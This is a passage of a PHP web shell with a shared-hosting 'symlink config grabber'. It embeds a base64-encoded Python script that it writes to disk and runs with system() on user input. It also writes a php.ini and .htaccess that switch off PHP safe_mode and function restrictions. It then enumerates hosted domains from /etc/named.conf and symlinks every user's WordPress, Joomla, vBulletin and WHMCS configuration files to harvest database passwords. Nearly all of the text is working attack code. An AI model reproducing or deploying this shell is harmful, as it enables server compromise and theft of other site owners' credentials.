  988. 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVV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GVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
  989. $file = fopen("cp.py","w+");
  990. $write = fwrite ($file ,base64_decode($cp));
  991. fclose($file);
  992. chmod("cp.py",0755);
  993. $url = $_POST['url'];
  994. echo"<center>
  995. <textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
  996. system("python cp.py $url config");
  997. unlink ('cp.py');
  998. echo"</textarea>
  999. </center>";
  1000. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  1001. exit;
  1002. }
  1003. if($_POST['matikan']=='sekatan'){
  1004. @error_reporting(0);
  1005. $phpini =
  1006. 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
  1007. $file = fopen("php.ini","w+");
  1008. $write = fwrite ($file ,base64_decode($phpini));
  1009. fclose($file);
  1010. $htaccess =
  1011. 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
  1012. $file = fopen(".htaccess","w+");
  1013. $write = fwrite ($file ,base64_decode($htaccess));
  1014. echo "<hr><center><b>DONE!";
  1015. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  1016. exit;
  1017. }
  1018. if($_POST['mendapatkan']=='passwd'){
  1019. @set_magic_quotes_runtime(0);
  1020. ob_start();
  1021. error_reporting(0);
  1022. @set_time_limit(0);
  1023. @ini_set('max_execution_time',0);
  1024. @ini_set('output_buffering',0);
  1025. $fn = $_POST['foldername'];
  1026. //all function here
  1027. function syml($usern,$pdomain)
  1028. {
  1029. symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1030. symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1031. symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1032. symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1033. symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1034. symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1035. symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1036. symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1037. symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1038. symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1039. symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1040. symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1041. symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1042. symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1043. symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1044. symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1045. symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1046. symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1047. symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1048. symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1049. symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1050. symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1051. symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1052. symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1053. symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1054. symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1055. symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1056. symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1057. symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1058. symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1059. symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1060. symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1061. symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1062. symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1063. symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1064. symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1065. symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1066. symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1067. symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1068. symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1069. symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1070. symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1071. symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1072. symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1073. symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1074. symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1075. symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1076. symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1077. symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1078. symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1079. symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1080. symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1081. symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1082. symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1083. symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1084. symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1085. symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1086. symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1087. symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1088. symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1089. symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1090. symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1091. symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1092. symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1093. symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1094. symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1095. symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1096. symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1097. symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1098. symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1099. symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1100. symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1101. symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1102. symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1103. symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1104. symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1105. symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1106. symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1107. symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1108. symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1109. symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1110. symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1111. symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1112. symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1113. symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1114. symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1115. symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1116. symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1117. symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1118. symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1119. symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1120. symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1121. symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1122. symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1123. symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1124. symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1125. symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1126. symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1127. symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1128. symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1129. symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1130. symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1131. symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1132. symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1133. symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1134. symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1135. symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1136. symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1137. symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1138. symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1139. symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1140. symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1141. symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1142. symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1143. symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1144. symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1145. symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1146. symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1147. symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1148. symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1149. symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1150. symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1151. symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1152. symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1153. symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1154. symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1155. symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1156. symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1157. symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1158. symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1159. symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1160. symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1161. symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1162. symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1163. symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1164. symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1165. symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1166. symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1167. symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1168. symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1169. symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1170. symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1171. symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1172. symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1173. symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1174. symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1175. symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1176. symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1177. symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1178. symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1179. symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1180. symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1181. symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1182. symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1183. symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1184. symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1185. symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1186. symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1187. symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1188. symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1189. symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1190. symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1191. symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1192. symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1193. symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1194. symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1195. symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1196. symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1197. symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1198. symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1199. symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1200. symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1201. symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1202. symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1203. symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1204. symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1205. symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1206. symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1207. symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1208. symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1209. symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1210. symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1211. symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1212. symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1213. symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1214. symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1215. symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1216. symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1217. symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1218. symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1219. symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1220. symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1221. symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1222. symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1223. symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1224. symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1225. symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1226. symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1227. symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1228. symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1229. symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1230. symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1231. symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1232. symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1233. symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1234. symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1235. symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1236. symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1237. symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1238. symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1239. }
  1240. $d0mains = @file("/etc/named.conf");
  1241. if($d0mains)
  1242. {
  1243. mkdir($fn);
  1244. chdir($fn);
  1245. foreach($d0mains as $d0main)
  1246. {
  1247. if(eregi("zone",$d0main))
  1248. {
  1249. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1250. flush();
  1251. if(strlen(trim($domains[1][0])) > 2)
  1252. {
  1253. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  1254. syml($user['name'],$domains[1][0]);
  1255. }
  1256. }
  1257. }
  1258. echo "<center><font color=lime size=3>[ Done ]</font></center>";
  1259. echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
  1260. }
  1261. else
  1262. {
  1263. mkdir($fn);
  1264. chdir($fn);
  1265. $temp = "";
  1266. $val1 = 0;
  1267. $val2 = 1000;
  1268. for(;$val1 <= $val2;$val1++)
  1269. {
  1270. $uid = @posix_getpwuid($val1);
  1271. if ($uid)
  1272. $temp .= join(':',$uid)."\n";
  1273. }
  1274. echo '<br/>';
